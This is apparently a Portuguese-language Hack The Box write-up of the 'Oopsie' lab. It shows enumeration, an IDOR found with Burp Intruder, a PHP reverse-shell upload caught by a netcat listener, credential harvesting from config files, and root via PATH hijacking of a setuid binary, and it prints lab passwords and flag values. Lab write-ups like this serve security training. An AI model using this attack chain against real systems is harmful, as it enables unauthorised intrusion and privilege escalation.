Oopsie

IP: 10.10.10.28

Enumeração

Vamos começar com nmap básico:

# nmap -sC -sV -v -Pn 10.10.10.28
PORT   STATE SERVICE    VERSION
22/tcp open  ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 61:e4:3f:d4:1e:e2:b2:f1:0d:3c:ed:36:28:36:67:c7 (RSA)
|   256 24:1d:a4:17:d4:e3:2a:9c:90:5c:30:58:8f:60:77:8d (ECDSA)
|_  256 78:03:0e:b4:a1:af:e5:c2:f9:8d:29:05:3e:29:c9:f2 (ED25519)
80/tcp open  tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Vimos que existe a porta 80 aberta, vamos checar quais diretórios / página podemos encontrar:

# gobuster dir -e -u http://10.10.10.28 -w /usr/share/dirb/wordlists/big.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.28
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirb/wordlists/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/09/21 10:24:05 Starting gobuster in directory enumeration mode
===============================================================
http://10.10.10.28/.htaccess            (Status: 403) [Size: 276]
http://10.10.10.28/.htpasswd            (Status: 403) [Size: 276]
http://10.10.10.28/css                  (Status: 301) [Size: 308] 
http://10.10.10.28/fonts                (Status: 301) [Size: 310] 
http://10.10.10.28/images               (Status: 301) [Size: 311] 
http://10.10.10.28/js                   (Status: 301) [Size: 307] 
http://10.10.10.28/server-status        (Status: 403) [Size: 276]                                 
http://10.10.10.28/themes               (Status: 301) [Size: 311] 
http://10.10.10.28/uploads              (Status: 301) [Size: 312] 

O diretório "uploads" pode ser interessante, vamos manté-lo em mente.

# nikto -h http://10.10.10.28               
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.28
+ Target Hostname:    10.10.10.28
+ Target Port:        80
+ Start Time:         2021-09-21 10:38:43 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ IP address found in the 'location' header. The IP is "127.0.1.1".
+ OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.0.1.1".
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-10944: : CGI Directory found
+ OSVDB-10944: /cdn-cgi/login/: CGI Directory found

Nikto encontrou este diretório "/cdn-cgi/login/"

Vamos testar a credencial encontrada no laboratório passado:

user: admin pass: MEGACORP_4dm1n!!

Tenha em mente que, no Hack the Box, muitas vezes podemos aproveitar informações obtidas em outros laboratórios!

Exploração

Conseguimos acesso ao painel administrativo, mas infelizamente, a sessão de Uploads está restrita somente a usuário com permissões mais elevadas:

Ao acessar a página "account" é possível ver na URL que existe o parâmetro id=1

Provavelmente, pode exister outro usuário com privilégios mais elevados que usa outro ID. Podemos usar o Burp Suíte para tentar descobrir este ID.

Basta enviar a requisição para o "Intruder" do Burp.

Na aba "positions", deixe da seguinte forma:

Na aba payloads, vamos gerar uma lista de 1 até 100 e colar.

Na aba options, marque as seguintes opções. Em seguida clique em "start atack":

A request que gerou o maior "Length" foi a de número 30. Podemos ver que o resultado foi diferente na linha 165:

Vou interceptar novamente via Burp o acesso a página de uploads, mas desta vez, antes de "clicar" em forward, vou troca o código de usuário para 86575.

Agora vou usar um shell malicioso escrito em PHP para obter uma shell reversa.

Basta deixar ouvindo a porta 1234 no meu terminal:

# nc -nvlp 1234                     
listening on [any] 1234 ...

Vou baixar este payload, editar o endereço de IP e porta, então realizar uploads para o site, lembrando sempre de editar minha requisição no Burp para enviar o código de usuário 86575 (superadmin):

Basta acessar o arquivo malicioso via curl para ativa o shell reverso.

 curl http://10.10.10.28/uploads/shell.php
# nc -nvlp 1234                                      1 ⨯
listening on [any] 1234 ...
connect to [10.10.14.76] from (UNKNOWN) [10.10.10.28] 56372
Linux oopsie 4.15.0-76-generic #86-Ubuntu SMP Fri Jan 17 17:24:28 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 17:35:47 up  2:19,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
robert   pts/2    10.10.14.216     17:16   18:19   0.06s  0.06s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 

Ganhamos a shell! Agora estamos aptos a capturar a flag do usuário comum:

$ cd /home
$ ls
robert
$ cd robert
$ ls
user.txt
$ cat user.txt
f2c74ee8db7983851ab2a96a44eb7981

Pós Exploração (escalando privilégios)

Dentro da pasta /root, podemos ver uma pasta de configuração chamada .config, que contém arquivo do FileZilla com credenciais armazenadas. Vamos guardá-la, talvez seja útil nos próximos laboratórios.

ftpuser / mc@F1l3ZilL4

Antes de mais nada, vamos melhorar a qualidade da nossa shell, tornando-a interativa, que vai nos permitir rodar comandos de forma mais satisfatória:

$ SHELL=/bin/bash script -q /dev/null

No diretório do site, há um db.php com credenciais válidas.

dmin.php  db.php  index.php  script.js
www-data@oopsie:/var/www/html/cdn-cgi/login$ cat db.php
cat db.php
<?php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>

Vamos "personificar" o usuário Robert e checar a qual grupo de usuários ele pertence. Pois sabemos que o usuário www-data é muito limitado.

www-data@oopsie:/var/www/html/cdn-cgi/login$ cat db.php
cat db.php
<?php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>
www-data@oopsie:/var/www/html/cdn-cgi/login$ su robert
su robert
Password: M3g4C0rpUs3r!

robert@oopsie:/var/www/html/cdn-cgi/login$ id
id
uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)

Sabemos agora que ele faz parte do grupo bugtracker. Vejamos quais elementos do So pertencem a este grupo:

robert@oopsie:/var/www/html/cdn-cgi/login$ find / -type f -group bugtracker 2>/dev/null
<login$ find / -type f -group bugtracker 2>/dev/null
/usr/bin/bugtracker

robert@oopsie:/var/www/html/cdn-cgi/login$ ls -la /usr/bin/bugtracker
ls -la /usr/bin/bugtracker
-rwsr-xr-- 1 root bugtracker 8792 Jan 25  2020 /usr/bin/bugtracker

Bugtracker é um executável binário e está com o SETUID ativado:

setuid: a flag that allows users to run an executable with the permissions of the executable’s owner or group respectively and to change behavior in directories

Vamos usar o comando "strings" para ler tudo que for possível dentro deste binário.

robert@oopsie:/var/www/html/cdn-cgi/login$ strings /usr/bin/bugtracker

Repare que em dado momento do código, existe o comando cat inserido:

------------------
: EV Bug Tracker :
------------------
Provide Bug ID: 
---------------
cat /root/reports/

Isso quer dizer que o binário do "bugtracker" sempre roda o comando cat com permissões de root.

Ou seja, vamos criar um pseudo comando chamado cat no diretório /tmp com nosso contéudo malicioso:

export PATH=/tmp:$PATH
cd /tmp/
echo '/bin/sh' > cat
chmod +x cat

Agora, ao rodar o binário novamente a partir do diretório temp, estamos na verdade executando o comando "cat" que executa um bash como root:

robert@oopsie:/tmp$ /usr/bin/bugtracker
/usr/bin/bugtracker

------------------
: EV Bug Tracker :
------------------

Provide Bug ID: 
---------------

# id
id
uid=0(root) gid=1000(robert) groups=1000(robert),1001(bugtracker)

Agora já podemos acessar o /root e pegar a flag do root. Lembrando que vc não pode usar o comando cat, então use o vim:

# ls
ls
reports  root.txt
# vim root.txt
af13b0bee69f8a877c3faf667f7beacf

Algumas referências para este tutorial foram extaídas aqui: https://www.rffuste.com/2020/05/06/starting-point-htb-oopsie/

Last updated